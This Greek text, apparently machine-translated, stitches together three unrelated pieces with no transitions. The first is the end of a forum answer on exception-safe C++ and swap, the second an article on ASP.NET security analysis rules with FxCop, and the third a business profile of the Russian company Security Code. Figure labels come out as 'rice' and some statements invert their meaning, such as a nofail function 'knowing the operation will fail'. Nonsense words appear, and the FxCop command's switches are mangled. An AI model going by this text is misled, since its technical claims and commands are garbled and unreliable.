Χρειάζεται λίγη εξοικείωση με τη σύνταξη ασφαλούς κώδικα. Θα πρέπει να αξιολογήσετε την εγγύηση που παρέχεται από κάθε οδηγία που θα χρησιμοποιήσετε και, στη συνέχεια, θα πρέπει να αξιολογήσετε την εγγύηση που παρέχεται από τη λίστα οδηγιών.

Φυσικά, ο μεταγλωττιστής C++ δεν θα δημιουργήσει αντίγραφα ασφαλείας της εγγύησης (στον κώδικά μου προσφέρω την εγγύηση ως ετικέτα @warning doxygen), κάτι που είναι ατυχές, αλλά αυτό δεν πρέπει να σας εμποδίσει από το να προσπαθήσετε να γράψετε κώδικα που είναι ασφαλής για εξαιρέσεις.

Κανονικό σφάλμα με σφάλμα

Πώς μπορεί ένας προγραμματιστής να διασφαλίσει ότι η λειτουργία nofail θα πετυχαίνει πάντα; Μετά από όλα, η λειτουργία μπορεί να έχει ένα σφάλμα.

Αυτό είναι αλήθεια. Οι αποκλειστικές εγγυήσεις πρέπει να παρέχονται χωρίς σφάλματα. Αλλά τότε, σε οποιαδήποτε γλώσσα, η κλήση μιας συνάρτησης προϋποθέτει ότι η συνάρτηση δεν περιέχει σφάλματα. Κανένας λογικός κώδικας δεν προστατεύει τον εαυτό του από την πιθανότητα σφάλματος. Γράψτε τον κώδικα όσο καλύτερα μπορείτε και μετά προσφέρετε μια εγγύηση με την υπόθεση ότι πρόκειται για σφάλμα. Και αν υπάρχει κάποιο λάθος, διορθώστε το.

Οι εξαιρέσεις αναφέρονται σε εξαιρετικά σφάλματα επεξεργασίας, όχι σε σφάλματα κώδικα.

Τελευταία λόγια

Τώρα το ερώτημα είναι: «Αξίζει τον κόπο;»

Σίγουρα. Η ύπαρξη μιας συνάρτησης "nothrow/nofail", γνωρίζοντας ότι η λειτουργία θα αποτύχει, είναι ένα μεγάλο όφελος. Το ίδιο μπορεί να ειπωθεί για τη συνάρτηση "ισχυρή", η οποία σας επιτρέπει να γράφετε κώδικα με σημασιολογία συναλλαγών, όπως με βάσεις δεδομένων, με συναρτήσεις commit/rollback, με τη δέσμευση να είναι η κανονική εκτέλεση κώδικα και οι εξαιρέσεις να είναι η επαναφορά.

Τότε το "βασικό" είναι η ελάχιστη εγγύηση που πρέπει να προσφέρετε. Η C++ είναι μια πολύ δυνατή γλώσσα εκεί, με τα πεδία της να αποφεύγουν τις διαρροές πόρων (κάτι που ένας συλλέκτης σκουπιδιών θα δυσκολευόταν να προτείνει για βάση δεδομένων, σύνδεση ή αρχεία).

Οπότε, σε ό,τι με αφορά, αξίζει τον κόπο.

Επεξεργασία 29-01-2010: Σχετικά με την ανταλλαγή χωρίς ρίψη

Ο nobar έκανε ένα σχόλιο που νομίζω ότι είναι αρκετά σχετικό επειδή είναι μέρος του "πώς γράφετε τον ασφαλή κώδικα εξαίρεσης":

  • Η συμφωνία δεν θα αποτύχει ποτέ (μην γράψετε καν ανταλλαγή ρίψης)
  • Αυτή είναι μια καλή σύσταση για προσαρμοσμένες συναρτήσεις swap(). Θα πρέπει να σημειωθεί, ωστόσο, ότι η std::swap() μπορεί να αποτύχει με βάση τις λειτουργίες που χρησιμοποιεί εσωτερικά

Από προεπιλογή, το std::swap θα δημιουργήσει αντίγραφα και αναθέσεις, τα οποία για ορισμένα αντικείμενα μπορεί να πεταχτούν. Έτσι, η προεπιλεγμένη ανταλλαγή μπορεί να χρησιμοποιηθεί τόσο για τις κλάσεις σας όσο και για τις κατηγορίες STL. Όσον αφορά το πρότυπο C++, η λειτουργία swap για vector , deque και list δεν θα ρίξει, ενώ για χάρτη εάν ο συντελεστής σύγκρισης μπορεί να κάνει ρίψη για να δημιουργήσει ένα αντίγραφο (βλ. C++ Programming Language, Special Edition, Appendix E, E.4.3.Swap).

Λαμβάνοντας υπόψη την εφαρμογή της ανταλλαγής διανυσμάτων της Visual C++ 2008, η εναλλαγή διανυσμάτων δεν θα γίνει αν δύο διανύσματα έχουν τον ίδιο κατανεμητή (δηλαδή τη συνηθισμένη περίπτωση), αλλά θα δημιουργήσει αντίγραφα εάν έχουν διαφορετικούς κατανεμητές. Και έτσι υποθέτω ότι μπορεί να πετάξει αυτή την τελευταία υπόθεση από το παράθυρο.

Έτσι, το αρχικό κείμενο εξακολουθεί να ισχύει: ποτέ μην γράφετε ανταλλαγή metapot, αλλά πρέπει να γνωρίζετε την τιμή nobar: βεβαιωθείτε ότι τα αντικείμενα που αλλάζετε έχουν μια ανταλλαγή που δεν μπορεί να πεταχτεί.

Επεξεργασία 2011-11-06: Ενδιαφέρον άρθρο

Κοιτάξτε το σημείο 7 (αυτόματη δοκιμή για ασφάλεια εξαίρεσης) όπου βασίζεται σε αυτοματοποιημένες δοκιμές μονάδας για να βεβαιωθείτε ότι κάθε περίπτωση ελέγχεται. Νομίζω ότι αυτό το μέρος είναι μια εξαιρετική απάντηση στον ερωτώντα» Μπορείτε να είστε σίγουροι τι είναι;".

Επεξεργασία 31-05-2013: Σχόλιο από dionadar

t.ακέραιος += 1; χωρίς εγγύηση ότι δεν θα συμβεί υπερχείλιση ΔΕΝ είναι ΑΣΦΑΛΗ και μπορεί στην πραγματικότητα να προκαλέσει τεχνικά UB! (Υπερχείλιση με υπογραφή - UB: C++11 5/4 "Εάν, κατά την αξιολόγηση μιας έκφρασης, το αποτέλεσμα δεν ορίζεται μαθηματικά ή δεν βρίσκεται εντός του εύρους τιμών που αντιπροσωπεύονται για τον τύπο της, η συμπεριφορά είναι απροσδιόριστη.") Σημείωση . ότι ο ανυπόγραφος ακέραιος δεν ξεχειλίζει, αλλά εκτελεί τους υπολογισμούς του σε μια κλάση ισοδυναμίας modulo 2^# bit.

Ο Dionadar αναφέρεται στην ακόλουθη γραμμή, η οποία όντως έχει απροσδιόριστη συμπεριφορά.

Τ.ακέραιος += 1 ; // 1. nothrow/nofail

Η λύση είναι να ελέγξετε εάν ο ακέραιος έχει ήδη μια μέγιστη τιμή (χρησιμοποιώντας std::numeric_limits ::max()) πριν κάνετε την προσθήκη.

Το σφάλμα μου θα καταλήξει στην ενότητα "Κανονικό σφάλμα με σφάλμα", δηλαδή σφάλμα. Αυτό δεν ακυρώνει το όρισμα και δεν σημαίνει ότι ο κώδικας που είναι ασφαλής για εξαιρέσεις είναι άχρηστος επειδή δεν μπορεί να επιτευχθεί. Δεν μπορείτε να προστατευθείτε από τερματισμούς λειτουργίας υπολογιστή ή σφάλματα μεταγλωττιστή ή ακόμα και σφάλματα ή άλλα σφάλματα. Δεν μπορείτε να επιτύχετε την τελειότητα, αλλά μπορείτε να προσπαθήσετε να πλησιάσετε όσο το δυνατόν πιο κοντά.

Διόρθωσα τον κωδικό με το σχόλιο του Dionadar.

Όποιος έχει κάνει την ανάπτυξη ASP.NET πιθανότατα θα συμφωνήσει - ανοιχτά ή όχι - ότι έχει κάνει ένα λάθος ασφαλείας ή αντιμετώπισε ένα ζήτημα ασφαλείας σε κάποια στιγμή της καριέρας του. Οι προγραμματιστές βρίσκονται συχνά υπό πίεση να παραδώσουν κώδικα όσο το δυνατόν γρηγορότερα και η πολυπλοκότητα της πλατφόρμας και ο τεράστιος αριθμός των επιλογών διαμόρφωσης συχνά οδηγεί σε λιγότερο από ικανοποιητική ασφάλεια εφαρμογής. Επιπλέον, οι απαιτήσεις διαμόρφωσης για τον εντοπισμό σφαλμάτων και τα περιβάλλοντα παραγωγής διαφέρουν, γεγονός που συχνά αφήνει τον κώδικα παραγωγής με ρυθμίσεις εντοπισμού σφαλμάτων που προκαλούν πολλά προβλήματα.

Με τα χρόνια, η πλατφόρμα ASP.NET έχει ωριμάσει και έχει γίνει διαθέσιμη καλύτερη τεκμηρίωση μέσω του MSDN και των ιστολογίων κοινότητας, αλλά το να γνωρίζετε ακριβώς ποια δυνατότητα ή επιλογή διαμόρφωσης να χρησιμοποιήσετε σε κάθε περίπτωση είναι ακόμα δύσκολο. Ακόμη και με καλή γνώση της λειτουργικότητας που σχετίζεται με την ασφάλεια, ένας προγραμματιστής μπορεί να κάνει λάθη που μπορούν να δημιουργήσουν τρύπες ασφαλείας στην εφαρμογή.

Η αναθεώρηση κώδικα από ομοτίμους είναι μια χρήσιμη διαδικασία και ένας καλός τρόπος για να εντοπίσετε νωρίς σφάλματα. Ωστόσο, δεν έχουν όλοι τον χρόνο ή τον προϋπολογισμό για αυτό - ή ακόμα και οι γνώστες των συναδέλφων.

Με την εισαγωγή της ανάλυσης κώδικα στο Visual Studio 2005, οι προγραμματιστές μπορούν να αναλύσουν αυτόματα τον κώδικά τους σε σχέση με τις βέλτιστες πρακτικές για ένα ευρύ φάσμα θεμάτων σχεδιασμού, δυνατότητας συντήρησης, απόδοσης και ασφάλειας. Η ανάλυση κώδικα ήταν ένα εξαιρετικό εργαλείο, αλλά δεν παρείχε ελέγχους ασφαλείας για το ASP.NET - μέχρι τώρα.

Σε αυτό το άρθρο, θα σας παρουσιάσω νέους κανόνες ανάλυσης κώδικα ASP.NET που μπορείτε να χρησιμοποιήσετε σε συνδυασμό με την ανάλυση κώδικα του Visual Studio και το αυτόνομο πρόγραμμα FxCop για τη βελτίωση της ασφάλειας των εφαρμογών ASP.NET.

Κριτική

Μπορείτε να κάνετε λήψη ενός συνόλου κανόνων για την ανάλυση του κώδικα ASP.NET για ασφάλεια για το Visual Studio 2010 και την έκδοση FxCop 10.0 από τη σύνδεση go.microsoft.com/?linkid=9750555. Το κιτ εγκατάστασης περιέχει τρία πακέτα νέων κανόνων:

  • ASP.NET.Security:Αυτή η κατηγορία εστιάζει σε συστάσεις ασφαλείας σχετικά με τον τρόπο προετοιμασίας των ιδιοτήτων System.Web.Ui.Page.
  • ASP.NET.MVC.Security:Κανόνες ασφαλείας που σχετίζονται με τον τρόπο χρήσης του ASP.NET MVC.
  • ASP.NET.Security.Configuration:Κανόνες ασφαλείας που σχετίζονται με στοιχεία διαμόρφωσης σε αρχεία web.config.

Μετά την εγκατάσταση του πακέτου κανόνων, μπορείτε να αρχίσετε να αναλύετε αυτόματα την ασφάλεια της διαδικτυακής εφαρμογής σας επιλέγοντας Εκτέλεση ανάλυσης κώδικα στον ιστότοπο από το μενού Δόμηση ( ρύζι. 1). Η διαδικασία ανάλυσης θα ελέγξει κάθε σελίδα κλάσης και αρχείο web.config της εφαρμογής σας σε σχέση με τους κανόνες ασφαλείας για το ASP.NET.

Ρύζι. 1. Εκτελέστε ανάλυση κώδικα στον ιστότοπο του δείγματος

Για παράδειγμα, ένα από τα ευρέως διαδεδομένα τρωτά σημεία στην ασφάλεια εφαρμογών Ιστού είναι τα αιτήματα μεταξύ τοποθεσιών, η πλαστογράφηση των οποίων επιτρέπει στους εισβολείς να εκτελούν εντολές για λογαριασμό άλλου χρήστη. Ο τυπικός τρόπος για την ελαχιστοποίηση του κινδύνου από αυτήν την ευπάθεια είναι η χρήση της ιδιότητας Page.ViewStateUserKey (bit.ly/cTSHM0). Μπορείτε επίσης να χρησιμοποιήσετε το AntiForgeryToken στο ASP.NET MVC (bit.ly/ciiQIP). Και οι δύο μέθοδοι αποτρέπουν επιθέσεις επανάληψης πακέτων στην εφαρμογή σας. Ο έλεγχος κώδικα ελέγχει για να διασφαλίσει ότι η εφαρμογή σας χρησιμοποιεί τη σωστή λύση.

Συχνά ακούω από προγραμματιστές που κάνουν ανάλυση κώδικα για πρώτη φορά ότι λαμβάνουν υπερβολικό αριθμό προειδοποιήσεων (Εικόνα 2). Και στην αρχή, είναι εύκολο να νιώθεις ότι μένεις μόνος για να καταλάβεις πώς να τα διορθώσεις όλα.

Ρύζι. 2. Οι παραβιάσεις κανόνων παρατίθενται στην καρτέλα Προειδοποιήσεις λίστας σφαλμάτων

Για να αφαιρέσετε μέρος του βάρους της διόρθωσης από τους ώμους σας, κάθε κανόνας περιλαμβάνει μια σαφή ένδειξη του τι ακριβώς πρέπει να γίνει και πώς. εμφανίζονται επίσης ορισμένοι σύνδεσμοι εάν χρειάζεστε περισσότερες πληροφορίες πριν εφαρμόσετε τις αλλαγές ( ρύζι. 3).

Ρύζι. 3. Αναλυτικές πληροφορίες στην ενότητα Προειδοποιήσεις

Η ανάλυση κώδικα μπορεί να ρυθμιστεί ώστε να εκτελείται μετά από κάθε κατασκευή. για να το κάνετε αυτό, επιλέξτε Ιστότοπος | Διαμορφώστε την ανάλυση κώδικα για τον ιστότοπο και, στη συνέχεια, επιλέξτε Ενεργοποίηση ανάλυσης κώδικα στο Build (ορίζει σταθερά CODE_ANALYSIS) ( ρύζι. 4).

Ρύζι. 4. Ενεργοποιήστε την ανάλυση κώδικα σε κάθε έκδοση

Ανάλυση κώδικα με FxCop

Η ανάλυση κώδικα είναι διαθέσιμη μόνο στις εκδόσεις Visual Studio Premium και Ultimate. Ωστόσο, μπορείτε επίσης να χρησιμοποιήσετε το αυτόνομο πρόγραμμα FxCop για να αναλύσετε τον κώδικα ASP.NET. Το FxCop είναι μέρος του SDK των Windows. Μπορείτε να λάβετε την έκδοση του Windows SDK 7.1 από το bit.ly/dzCizq.

Η χρήση του τυπικού βοηθητικού προγράμματος FxCop θα απαιτήσει λίγη περισσότερη δουλειά για την εκτέλεση της ανάλυσης. Θα σας καθοδηγήσω βήμα προς βήμα στις απαραίτητες ενέργειες για την προετοιμασία για την ανάλυση.

Συνήθως, όταν μεταγλωττίζετε το έργο web σας, η σήμανση σελίδας (ο κώδικας σελίδας δεν περιλαμβάνεται στο αρχείο κώδικα πίσω) δεν μεταγλωττίζεται και παραμένει ανέγγιχτη στη ρίζα Web της εφαρμογής σας. Την πρώτη φορά που ένας χρήστης ζητά αυτήν τη σελίδα, η σήμανσή της μεταγλωττίζεται σε ξεχωριστές συναρμολογήσεις. Αυτό σας επιτρέπει να ενημερώσετε τον ιστότοπο χωρίς να κάνετε εκ νέου μεταγλώττιση όλων των άλλων. (Για περισσότερες πληροφορίες σχετικά με τη διαδικασία μεταγλώττισης σελίδων ASP.NET, ανατρέξτε στον σύνδεσμο.)

Επειδή δεν γίνεται αυτόματα μεταγλώττιση όλος ο κώδικας, ορισμένοι από αυτούς δεν είναι ορατοί κατά την ανάλυση και ορισμένα σημαντικά ζητήματα ασφαλείας ενδέχεται να παραληφθούν. Για να καταστήσετε όλο τον κώδικα διαθέσιμο για ανάλυση, πρέπει να αναγκάσετε να προμεταγλωττίσετε όλες τις σελίδες. Αυτό μπορεί να γίνει χρησιμοποιώντας το βοηθητικό πρόγραμμα Publish Web Site, το οποίο εκκινείται επιλέγοντας Δημιουργία | Δημόσιος Ιστότοπος. Αυτό το βοηθητικό πρόγραμμα σάς επιτρέπει να προσαρμόσετε τον τρόπο δημοσίευσης του ιστότοπου και εδώ μπορεί να ενεργοποιηθεί η προμεταγλώττιση. Απλώς καταργήστε την επιλογή Να επιτρέπεται σε αυτόν τον προμεταγλωττισμένο ιστότοπο να μπορεί να ενημερωθεί και κάντε κλικ στο OK ( ρύζι. 5). Ως αποτέλεσμα, θα λάβετε έναν πλήρως μεταγλωττισμένο ιστότοπο, έτοιμο για ανάλυση.

Ρύζι. 5. Δημοσιεύστε έναν ιστότοπο με προμεταγλώττιση

Τώρα που έχετε έναν πλήρως μεταγλωττισμένο ιστότοπο, ρίξτε το FxCop.

Η ανάλυση ASP.NET απαιτεί λειτουργικότητα που είναι διαθέσιμη μόνο στην έκδοση γραμμής εντολών του FxCop, επομένως ανοίξτε ένα παράθυρο γραμμής εντολών και μεταβείτε στον κατάλογο όπου είναι εγκατεστημένο το FxCop. Αυτός πιθανότατα θα είναι ένας από τους δύο καταλόγους ανάλογα με το αν εκτελείτε έκδοση 32-bit ή 64-bit των Windows:

C:\Program Files (x86)\Microsoft FxCop 10.0 C:\Program Files\Microsoft FxCop 10.0

Από τον κατάλογο FxCop, μπορείτε να εκτελέσετε το Fxcopcmd.exe για να ξεκινήσετε την ανάλυση κώδικα. Για έναν ιστότοπο ASP.NET πρέπει να εισαγάγετε την εντολή:

fxcopcmd.exe /file:"H:\MSDN\PrecompiledWeb\MSDNSampleSite\bin" /rule:AspNetConfigurationSecurityRules.dll /rule:AspNetMvcSecurityRules.dll /rule:ASPNetSecurityRules /aspole.dll

Ας αναλύσουμε αυτήν την εντολή ώστε να καταλάβετε τι κάνει κάθε παράμετρος.

Η παράμετρος /file καθορίζει ποιες συγκροτήσεις πρέπει να αναλυθούν. Σε αυτό το παράδειγμα, οι προμεταγλωττισμένες συναρμολογήσεις τοποθεσιών μου βρίσκονται στον κατάλογο H:\\MSDN\\PrecompiledWeb\\MSDNSampleSite\\bin.

Η παράμετρος /rule καθορίζει ποιοι κανόνες πρέπει να χρησιμοποιούνται κατά την ανάλυση. Σε αυτό το παράδειγμα, χρησιμοποιώ μόνο τρεις κανόνες ασφαλείας ASP.NET: AspNetConfigurationSecurityRules.dll, AspNetMvcSecurityRules.dll και ASPNetSecurityRules.dll.

Ο διακόπτης /aspnet επιτρέπει την ανάλυση ASP.NET και ο διακόπτης /console κατευθύνει την έξοδο ανάλυσης σε ένα παράθυρο κονσόλας. Τα αποτελέσματα φαίνονται στο ρύζι. 6. Για περισσότερες πληροφορίες σχετικά με το Fxcopcmd και τις διάφορες επιλογές του, δείτε αυτόν τον σύνδεσμο.

Ρύζι. 6. Εκτέλεση κανόνων ASP.NET με χρήση του Fxcopcmd.exe

Σύναψη

Το να κάνετε τους ιστότοπους ASP.NET πιο ασφαλείς μπορεί να είναι μια δύσκολη εργασία, αλλά οι κανόνες ανάλυσης ασφαλείας κώδικα ASP.NET κάνουν το μεγαλύτερο μέρος της δουλειάς για εσάς, εντοπίζοντας ορισμένες σημαντικές απειλές. Όπως είδατε σε αυτό το άρθρο, η ίδια η διαδικασία είναι απλή και μπορεί να ρυθμιστεί ώστε να εκτελείται σε κάθε έκδοση, επιτρέποντας την έγκαιρη αναγνώριση των προβλημάτων.

Σας συμβουλεύω να εγκαταστήσετε τους κανόνες σε όλους τους υπολογιστές προγραμματιστών και επίσης να τους προσθέσετε ως μέρος του Team Foundation Sever ή άλλου συστήματος ελέγχου έκδοσης. Αυτό θα επιτρέψει στους μεμονωμένους προγραμματιστές να ελέγξουν τον κώδικά τους κατά τη διάρκεια της περιόδου δημιουργίας και θα επιβάλει επίσης μια πολιτική σύμφωνα με την οποία κανένας κώδικας δεν μπορεί να τεθεί σε έλεγχο έως ότου περάσει ο έλεγχος.

Επιπλέον, μπορείτε να εφαρμόσετε τους δικούς σας κανόνες ανάλυσης κώδικα. Εάν ενδιαφέρεστε για αυτό το μονοπάτι, θα βρείτε μερικές πολύ χρήσιμες πληροφορίες στην ανάρτηση του Duke Kamstra στο blog της Ομάδας Ανάλυσης Κώδικα (bit.ly/blpP38). Θα βρείτε επίσης έναν οδηγό για τη διαδικασία που περιλαμβάνεται στο ιστολόγιο του Tatham Oddie (bit.ly/5tFrMw).

Σάσα Φάουστ είναι προγραμματιστής στο τμήμα πλατφόρμας του Microsoft Office 365. Μπορείτε να επικοινωνήσετε μαζί του μέσω του blogs.msdn.com/b/sfaust.

Ευχαριστούμε τον ακόλουθο ειδικό για την αξιολόγηση αυτού του άρθρου: Μπράιαν Σάλιβαν

Στόχος της εταιρείας Security Code είναι να σχεδιάσει, να αναπτύξει και να προωθήσει μια σειρά προϊόντων και λύσεων ασφάλειας πληροφοριών μεταξύ πελατών και συνεργατών.

Δείκτες απόδοσης

2018: Κύκλος εργασιών - 4.045.000 χιλιάδες ρούβλια

Στο τέλος του 2018, ο κύκλος εργασιών του «Κωδικού Ασφαλείας» ανήλθε σε 4.045.000 χιλιάδες ρούβλια, ενώ για δεύτερη συνεχόμενη χρονιά ξεπέρασε τα 4.000.000 χιλιάδες ρούβλια. Η εταιρεία αυξάνει το επίπεδο της επιχειρηματικής κερδοφορίας από χρόνο σε χρόνο: το 2018, το EBITDA έφτασε τα 910.000 χιλιάδες ρούβλια. (για σύγκριση, αυτός ο αριθμός το 2017 ήταν 900.000 χιλιάδες ρούβλια), ανέφερε η εταιρεία Security Code στο TAdviser στις 11 Φεβρουαρίου 2019.

Τα μεγαλύτερα μερίδια στον κύκλο εργασιών της εταιρείας το 2018 κατέλαβαν τομείς ασφάλειας όπως η προστασία υποδομής δικτύου (43,3%) και η προστασία τελικού σημείου (34,4%).

Οι ηγέτες πωλήσεων στο τέλος του 2018, σύμφωνα με την εταιρεία, ήταν τα προϊόντα της σειράς Continent (1.752 εκατομμύρια RUB), vGate (748 εκατομμύρια RUB) και Secret Net Studio (723 εκατομμύρια RUB). Η υψηλότερη δυναμική σε σύγκριση με το 2017 καταδείχθηκε από το Secret Net Studio και το vGate: η ανάπτυξη ήταν 95% και 93%, αντίστοιχα.

Η προηγούμενη περίοδος αναφοράς ήταν ένα έτος ενεργούς ενημέρωσης του χαρτοφυλακίου προϊόντων και απόκτησης νέων ρυθμιστικών πιστοποιητικών για τον Κωδικό Ασφαλείας. Στην ομάδα των εργαλείων ασφάλειας δικτύου, το Continent 3.9 εμφανίστηκε με νέες πλατφόρμες, αυξημένη απόδοση τείχους προστασίας και κρυπτογραφικό επιταχυντή υλικού για κρυπτογράφηση σύμφωνα με το GOST. Ο Continent TLS Server 2 κυκλοφόρησε με υποστήριξη για αρκετούς παρόχους κρυπτογράφησης. Η διαδικασία πιστοποίησης για το προϊόν Continent WAF για συμμόρφωση με τις απαιτήσεις του ρωσικού FSTEC για τείχη προστασίας ολοκληρώθηκε με επιτυχία.

Η εταιρεία υπογραμμίζει επίσης την κυκλοφορία της επόμενης έκδοσης του Secret Net Studio 8.4 και του προϊόντος που περνά τον έλεγχο επιθεώρησης στο FSTEC της Ρωσίας. Στα τέλη του 2018, ελήφθη το πιστοποιητικό FSTEC της Ρωσίας για το Sobol 4 PAK και ξεκίνησαν οι πωλήσεις του προϊόντος. Οι βασικές διαφορές της επόμενης γενιάς αξιόπιστων μονάδων εκκίνησης είναι η υποστήριξη της τεχνολογίας UEFI, η συμβατότητα με USB 3.0 και η διευρυμένη λειτουργικότητα. Επίσης κυκλοφόρησε μια ενημέρωση και επεκτάθηκε η λίστα των διαθέσιμων πλατφορμών για το προϊόν Terminal, ένα thin client με ενσωματωμένα μέσα προστασίας πληροφοριών από μη εξουσιοδοτημένη πρόσβαση.

Το κύριο γεγονός στο τμήμα προστασίας εικονικού περιβάλλοντος ήταν η κυκλοφορία του ενημερωμένου προϊόντος vGate 4.1 με το εικονικό τείχος προστασίας χωρίς πράκτορα vNetwork, το οποίο σας επιτρέπει να δημιουργείτε κανόνες φιλτραρίσματος τόσο σε επίπεδο μεμονωμένης εικονικής μηχανής όσο και σε επίπεδο ομάδων εικονικών μηχανών .

Κατά την περασμένη περίοδο αναφοράς, η ανάπτυξη όχι μόνο τμημάτων προϊόντων αλλά και υπηρεσιών της επιχείρησης συνεχίστηκε, αντιπροσωπεύοντας το 9% των συνολικών εσόδων του Security Code για δεύτερη συνεχή χρονιά. Το 2018, η εταιρεία πρόσθεσε την ανάλυση ασφάλειας λογισμικού στη λίστα των επαγγελματικών της υπηρεσιών. Το ενδιαφέρον για αυτό το είδος δραστηριότητας υπαγορεύεται από την υψηλή δυναμική της αγοράς, καθώς και από την αυξανόμενη ζήτηση των πελατών, εξήγησε η εταιρεία.

Το 2018, η «Security Code» συνέχισε την ανάπτυξη των ξένων επιχειρήσεων: η εταιρεία έλαβε άδειες για την εξαγωγή του Secret Net Studio και, με τη βοήθεια εταίρων, υλοποίησε μια σειρά πιλοτικών έργων σε κυβερνητικές υπηρεσίες και υπηρεσίες επιβολής του νόμου στην Ινδονησία, τη Χιλή , το Περού και τα Ηνωμένα Αραβικά Εμιράτα.

Έχουμε προγραμματίσει ανάπτυξη για το επόμενο έτος όχι μόνο στις ήδη γνωστές αγορές της Ρωσίας, της Λατινικής Αμερικής και της Μέσης Ανατολής. Πελάτες από τις χώρες της ΚΑΚ και τη Νοτιοανατολική Ασία επιδεικνύουν μεγάλο ενδιαφέρον για την παροχή πραγματικής προστασίας χρησιμοποιώντας προϊόντα Κωδικού Ασφαλείας. Είμαι βέβαιος ότι το 2019 θα είναι η χρονιά της πρώτης εφαρμογής των εργαλείων μας για την ασφάλεια των πληροφοριών σε αυτές τις περιοχές», δήλωσε ο Fedor Dbar, εμπορικός διευθυντής της εταιρείας Security Code.

Πιστοποιητικά

Τον Απρίλιο του 2011, αναφέρθηκε ότι η Ομοσπονδιακή Αρχή για την Πιστοποίηση του Εξοπλισμού Ασφάλειας Πληροφοριών είχε λάβει απόφαση σχετικά με τις απαιτήσεις ασφάλειας πληροφοριών του Υπουργείου Άμυνας της Ρωσικής Ομοσπονδίας ότι τα ακόλουθα προϊόντα αναπτύχθηκαν από την Security Code LLC:

  • Σύμπλεγμα λογισμικού και υλικού "Sobol". Έκδοση 3.0 RU.40308570.501410.001.
  • Εργαλείο ασφάλειας πληροφοριών TrustAccess RU.88338853.501410.003.
  • Εργαλείο ασφάλειας πληροφοριών TrustAccess-S RU.88338853.501410.004.
  • Εργαλείο ασφάλειας πληροφοριών Secret Net 6 RU.88338853.501410.007.
  • Εργαλείο ασφάλειας πληροφοριών Secret Net 6 (επιλογή K) RU.88338853.501410.008.
  • Σύστημα συλλογής δεδομένων λογισμικού και υλικού "Security Code: Inventory" RU.88338853.501510.001.
  • Εργαλείο ασφάλειας πληροφοριών Κωδικός ασφαλείας vGate για VMware Infrastructure RU.88338853.501410.002

και έχοντας έγκυρα πιστοποιητικά συμμόρφωσης από την FSTEC της Ρωσίας και την FSB της Ρωσίας, δεν απαιτείται πρόσθετη πιστοποίηση στο σύστημα πιστοποίησης εξοπλισμού ασφάλειας πληροφοριών του Υπουργείου Άμυνας της Ρωσικής Ομοσπονδίας για απαιτήσεις ασφάλειας πληροφοριών. Η λύση που προκύπτει επιτρέπει τη χρήση προϊόντων που αναπτύχθηκαν από την εταιρεία Κωδικός Ασφαλείας σε δομές που σχετίζονται με το Υπουργείο Άμυνας της Ρωσικής Ομοσπονδίας και τις υπηρεσίες του.

Πρόγραμμα συνεργατών

2018

Το πρόγραμμα συνεργατών με τον Κώδικα Ασφαλείας βασίζεται σε ένα μοντέλο πωλήσεων δύο επιπέδων: η εταιρεία διαθέτει πέντε διανομείς και ένα εκτεταμένο δίκτυο συνεργατών. Ο αριθμός των εξουσιοδοτημένων συνεργατών αυξάνεται συνεχώς, στο τέλος του 2018 έφτασε τους 1.246. Παράλληλα, το 2018, ο αριθμός των συνεργατών που πραγματοποίησαν τουλάχιστον μία πώληση αυξήθηκε κατά 10% σε σχέση με το 2017: ανήλθε σε 1.052 συνεργάτες.

Το 2018, σχεδόν οι μισοί συνεργάτες παρουσίασαν αύξηση πωλήσεων: 532 συνεργάτες βελτίωσαν την απόδοσή τους σε σύγκριση με το 2017. 240 εταίροι αύξησαν την ιδιότητα του συνεργάτη τους με βάση τα αποτελέσματα της εργασίας το 2018, κάτι που αποτελεί καλό κίνητρο για περαιτέρω κοινές επιχειρήσεις.

Μεταξύ των TOP-4 περιοχών όπου, χάρη στις προσπάθειες των τοπικών συνεργατών, το επίπεδο πωλήσεων προϊόντων του Κώδικα Ασφαλείας έχει αυξηθεί, θα πρέπει να επισημάνουμε τη Νότια Ομοσπονδιακή Περιφέρεια (η αύξηση των πωλήσεων ήταν 23%), την Ομοσπονδιακή Περιφέρεια Ural (16%) , η Βορειοδυτική Ομοσπονδιακή Περιφέρεια (14%) και η Κεντρική Ομοσπονδιακή Περιφέρεια (13%).

2017

2018

Εκκίνηση της γραμμής υπηρεσιών «Ανάλυση ασφάλειας λογισμικού».

Τεχνολογική συνεργασία με την Kaspersky Lab

Οι εταιρείες του Κώδικα Ασφαλείας και η Kaspersky Lab ανακοίνωσαν την έναρξη της τεχνολογικής συνεργασίας τον Ιανουάριο του 2018. Η συνεργασία έχει σχεδιαστεί για να αυξήσει το επίπεδο ασφάλειας της υποδομής και των δεδομένων των πελατών, καθώς και να ενισχύσει τις θέσεις και των δύο εταιρειών στα τμήματα της αγοράς ασφάλειας πληροφοριών.

Σύμφωνα με τους όρους της συμφωνίας συνεργασίας, η Security Code λαμβάνει το δικαίωμα να ενσωματώσει μια σειρά από τεχνολογικές λύσεις της Kaspersky Lab στα προϊόντα της. Η συνεργασία θα καλύπτει τους τομείς της προστασίας των τελικών συσκευών και των εταιρικών δικτύων. Στο μέλλον, οι εταιρείες σχεδιάζουν να επεκτείνουν τη συνεργασία στον τομέα της διασφάλισης της ασφάλειας των εικονικών περιβαλλόντων.

Η συνεργασία στον τομέα της προστασίας συσκευών τελικού σημείου περιλαμβάνει την ενσωμάτωση μιας λύσης που βασίζεται στην τεχνολογία Kaspersky Anti-Virus SDK στη μονάδα προστασίας από ιούς ως μέρος του σύνθετου προϊόντος Secret Net Studio. Ως αποτέλεσμα, οι πελάτες θα έχουν την ευκαιρία να επιλέξουν και να αγοράσουν μια μονάδα προστασίας από ιούς που βασίζεται στις τεχνολογίες της Kaspersky Lab. Προβλέπεται ότι η χρήση μιας μονάδας προστασίας από ιούς που βασίζεται στο Kaspersky Anti-Virus SDK ως μέρος του Secret Net Studio θα πιστοποιηθεί για συμμόρφωση με τις απαιτήσεις του ρωσικού FSTEC για προστασία από ιούς.

